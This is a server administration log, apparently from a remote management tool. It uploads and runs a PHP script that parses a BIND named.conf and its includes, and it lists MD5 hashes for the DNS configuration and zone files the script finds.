MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-30 17:27:24: Establishing a connection
2026-04-30 17:27:24: 

PUT: /tmp/pkp578249

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-30 17:27:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp578249; rm /tmp/pkp578249'

2026-04-30 17:27:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
